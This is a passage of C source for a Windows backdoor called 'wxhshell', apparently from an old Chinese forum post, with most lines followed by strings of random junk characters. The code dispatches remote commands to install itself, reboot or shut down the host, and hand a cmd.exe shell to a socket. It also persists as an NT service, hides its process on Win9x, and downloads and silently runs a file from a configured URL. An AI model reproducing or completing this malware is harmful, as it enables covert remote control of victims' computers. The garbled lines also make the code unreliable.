    switch(cmd[0]) { &b]KMAo3  
  Z 7ZMu  
  // 帮助 :V1ZeNw  
  case '?': { *Lk&@(  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~)CU m[:oM  
    break; Nn4Kt,KY  
  } 7X3l&J2C4l  
  // 安装 7a.#F]`  
  case 'i': { 1Y0oo jD  
    if(Install()) ] j?Fk$C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V@xnz)^t  
    else OZ]3OL,  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?[fl$EG  
    break; W)P_t"'@L  
    } #7:9XID /  
  // 卸载 }Ml z\'{  
  case 'r': {  ]mU*Y:<  
    if(Uninstall()) L=Jk"qWV0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); dz.MH  
    else 9- <V%eNX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qpH-P8V   
    break; (Jr;:[4XC  
    } bL#TR;*]  
  // 显示 wxhshell 所在路径 fOfz^W  
  case 'p': { N P(?[W  
    char svExeFile[MAX_PATH]; }z 2-|"H  
    strcpy(svExeFile,"\n\r"); [eik<1=,~?  
      strcat(svExeFile,ExeFile); V1V4 <Zj  
        send(wsh,svExeFile,strlen(svExeFile),0); ,O`*AzjS5Q  
    break; QO^X7A"?X  
    } tKViM@T  
  // 重启 !Y i<h/:  
  case 'b': { Iur} ZAz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); v%e"4:K}?  
    if(Boot(REBOOT)) 8@#Y <{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8[p6C Jl)  
    else { BPs &  
    closesocket(wsh); J)& +y;.  
    ExitThread(0); ,>%r|YSJ)  
    } b#'a4j-u  
    break; /9# jv]C:  
    } I:7,CV  
  // 关机  -~aEqj#?  
  case 'd': { 6Z}))*3 9  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ~PvzUT-^  
    if(Boot(SHUTDOWN)) `d;izQ1_=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,Yt&PE  
    else { EqU[mqeF  
    closesocket(wsh); IY6S\Gn  
    ExitThread(0); P9!]<so  
    } }Q(I&uz  
    break; 7lOiFw  
    } )_ u'k /  
  // 获取shell VDN]P3   
  case 's': { \ku{-^7  
    CmdShell(wsh); AlhiF\+ C  
    closesocket(wsh); ZDD|MH  
    ExitThread(0); fYPU'"hzG  
    break; 4hz,F/ I  
  } vw 2@}#\:  
  // 退出 6%y: hLT  
  case 'x': { q &o=4  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); k/Ro74f=  
    CloseIt(wsh); \kO_"{7n  
    break; #ms98pw%5  
    } Vjd =F.V+  
  // 离开 c?Qg :yU  
  case 'q': { KO"iauW  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ) O^08]Y g  
    closesocket(wsh); 73`UTXvWU  
    WSACleanup(); n-.k&B{a  
    exit(1); d)sl)qt}0  
    break; ;VBfzFH  
        } ,DZLEsFM  
  } bGa":|}F  
  } E6)mBAE  
9R3=h5Y  
  // 提示信息 Sw)ftC~d  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 03;(v%  
} /LzNr0>2  
  } b)@x@3"O  
ti% e.p0[  
  return; Uij$ eBN  
} K`<P^XJr  
Cu7iHhY5  
// shell模块句柄 5xKR ]u  
int CmdShell(SOCKET sock) *?'T8yf^  
{ B9-=.2.WU  
STARTUPINFO si; ,:,|A/U  
ZeroMemory(&si,sizeof(si)); 9] \vw  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B!anY}/U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; n|6yz[N  
PROCESS_INFORMATION ProcessInfo; \59hW%Di  
char cmdline[]="cmd"; u] b6>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); D1k]  
  return 0; XrF9*>ti?  
} \/Y<.#?_  
,{at?y*  
// 自身启动模式 56dl;Z)  
int StartFromService(void) Z;:-8 HPDY  
{ w{IqzmPiH  
typedef struct -nSqB{s!SD  
{ &x  #5-O'  
  DWORD ExitStatus; WG n1pW  
  DWORD PebBaseAddress; jnY4(B   
  DWORD AffinityMask; ~Sq >c3Wn  
  DWORD BasePriority; DK1)9<  
  ULONG UniqueProcessId; 4|thDb)]  
  ULONG InheritedFromUniqueProcessId; v0sX'>f  
}   PROCESS_BASIC_INFORMATION; "{lnSLk  
jL$X3QS:  
PROCNTQSIP NtQueryInformationProcess; * PPFk.#x  
1[ Pbsb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bcfOp A  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ]CYe=m1<2Q  
/ [M~##%:  
  HANDLE             hProcess; Rz]bCiD3 B  
  PROCESS_BASIC_INFORMATION pbi; v/dcb%  
*<1m 2t>.  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); UHWun I S  
  if(NULL == hInst ) return 0; FTe#@\I  
CqV \:50g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P/ 5r(l5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); R,lr&;a8  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); t!GY>u>`  
k6\c^%x  
  if (!NtQueryInformationProcess) return 0; #oI`j q  
x uF_^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Pmb`05\  
  if(!hProcess) return 0; 2~ a4ib  
ly2R8$Y`y`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7=9jXNk Y  
]g :ZokU  
  CloseHandle(hProcess); uwJkqlUOz  
s~CA @  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3L|k3 `I4  
if(hProcess==NULL) return 0; *h1@eJHMz  
)U` c9*.  
HMODULE hMod; *KAuyJr  
char procName[255]; rxA<\h,A  
unsigned long cbNeeded; P^UcpU,  
7w|s8B  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #<{MtK_  
p[Es4S}N  
  CloseHandle(hProcess); _"=~aMXC.)  
"$_ypgRrSR  
if(strstr(procName,"services")) return 1; // 以服务启动 1mqFnVkf&+  
7VraWW`H'  
  return 0; // 注册表启动 gTT-7  
} _>.%X45xi  
cQjJ9o7  
// 主模块 23PSv8;EM  
int StartWxhshell(LPSTR lpCmdLine) {#MViBhd%  
{ x UYSD  
  SOCKET wsl; 0#G"{M  
BOOL val=TRUE; )%6v~,'3Y  
  int port=0; |j;`;"+B  
  struct sockaddr_in door; 6tM{cK%v1  
-kO=pYP*O  
  if(wscfg.ws_autoins) Install(); %o-*~GQ@B  
8eNGPuoL)  
port=atoi(lpCmdLine); 7^1ikmYY  
[0 $Y@ek[  
if(port<=0) port=wscfg.ws_port; `?:'_K i  
0)Z7U$  
  WSADATA data; I`|>'$E[r  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Ua4} dW[w  
1D$k:|pP~  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   rqIt}(J  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V+Z22  
  door.sin_family = AF_INET; ;8!D8o(+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); +=O:z *O  
  door.sin_port = htons(port); ;iEqa"gO  
E_? M&  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <]<50  
closesocket(wsl); m~v Ie c  
return 1; |R4](  
} z9gZ/d   
*\> &  
  if(listen(wsl,2) == INVALID_SOCKET) { +{s^"M2`  
closesocket(wsl); aaBBI S  
return 1; D4G{= Y}G  
} C9fJLCufC  
  Wxhshell(wsl); 3jQ |C=   
  WSACleanup(); nv={.H  
JO$0Z  
return 0; uzS57 O%  
*m;L.r`5[  
} eu~;G H  
g$+3IVq&  
// 以NT服务方式启动 KP i@wl3  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lm+wjhkN  
{ .p&M@h w  
DWORD   status = 0; /w|YNDA]j  
  DWORD   specificError = 0xfffffff; yfU1;MI  
|1neCP@ng  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E^  rN)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; \"Np'$4eu  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EV}%D9:  
  serviceStatus.dwWin32ExitCode     = 0; Xd4~N:  
  serviceStatus.dwServiceSpecificExitCode = 0; D=8=wT2 <  
  serviceStatus.dwCheckPoint       = 0; @8 pRIS"V  
  serviceStatus.dwWaitHint       = 0; N7NK1<vw2  
zd}"8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); (Lc%G~{  
  if (hServiceStatusHandle==0) return; i}Y:o}  
_C##U;e!  
status = GetLastError(); 7':|f"  
  if (status!=NO_ERROR) aW"BN 5eM>  
{ F/&&VSv>LO  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I?1^\s#L  
    serviceStatus.dwCheckPoint       = 0; % $J^dF_0  
    serviceStatus.dwWaitHint       = 0; -v]7}[ .[  
    serviceStatus.dwWin32ExitCode     = status; Q>|<R[.7  
    serviceStatus.dwServiceSpecificExitCode = specificError; V Bg\)r[  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); p4/D%*G^`  
    return; ;2U`?"  
  } 2JbCYCTC  
ej0q*TH.  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D;Z\GnD  
  serviceStatus.dwCheckPoint       = 0; dfNNCPu]+  
  serviceStatus.dwWaitHint       = 0; Wg#>2)>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <h^vl-L>  
} 0s(G*D2%6  
8garRB{  
// 处理NT服务事件,比如:启动、停止 ~;MRQE  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lwV#j}G  
{ f>Ge Em~  
switch(fdwControl) ^mH^cP?/  
{ \=w|Zeu{l  
case SERVICE_CONTROL_STOP: ^JH 4: h  
  serviceStatus.dwWin32ExitCode = 0; rx%lL  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +] FdgmK:  
  serviceStatus.dwCheckPoint   = 0; N^O.P  
  serviceStatus.dwWaitHint     = 0; F&ux9zP  
  { -ohqw+D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <FP&1Eg!|  
  } 0(]C$*~mk  
  return; z+;+c$X  
case SERVICE_CONTROL_PAUSE: O5E\#*<K  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {`{U\w5Af  
  break; R+P1 +5  
case SERVICE_CONTROL_CONTINUE: pJV<#<#Z  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]@_*O$  
  break; /CH*5w)1   
case SERVICE_CONTROL_INTERROGATE: 6z~6o0s~  
  break; L9@nx7D  
}; B lD  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?xIwQd0  
} `Os@/S  
)!3sB{ H  
// 标准应用程序主函数 F6yMk%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h/5.>[VwDh  
{ f`T#=6C4|  
+dlN^P647  
// 获取操作系统版本 |'.\}xt7  
OsIsNt=GetOsVer(); BjSLbw-C  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )[>{ Ie2  
Py K)ks!6  
  // 从命令行安装 >Ka}v:E  
  if(strpbrk(lpCmdLine,"iI")) Install(); u1rT:\G1  
y4+Km*am,W  
  // 下载执行文件 n%A)#AGGc  
if(wscfg.ws_downexe) { u`g|u:(r  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)  {ZB7,\  
  WinExec(wscfg.ws_filenam,SW_HIDE); 86oa>#opU  
} ?m0|>[j  
SIVzc Hm  
if(!OsIsNt) { b0t/~]9G  
// 如果时win9x,隐藏进程并且设置为注册表启动 Z!DGCw  
HideProc(); ).5$c0`U&  
StartWxhshell(lpCmdLine); 54v}iG  
} y$'(/iyz  
else ApR>b%  
  if(StartFromService()) *{ 6{ZKM  
  // 以服务方式启动 xO{yr[x"L  
  StartServiceCtrlDispatcher(DispatchTable); 5*C#~gd& F  
else (*F/^4p!$  
  // 普通方式启动 mSr(PIH{\  
  StartWxhshell(lpCmdLine); uS;N&6;:  
(} ?")$.  
return 0; <A<N? `"  
}
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只看该作者 1 发表于: 2006-10-10
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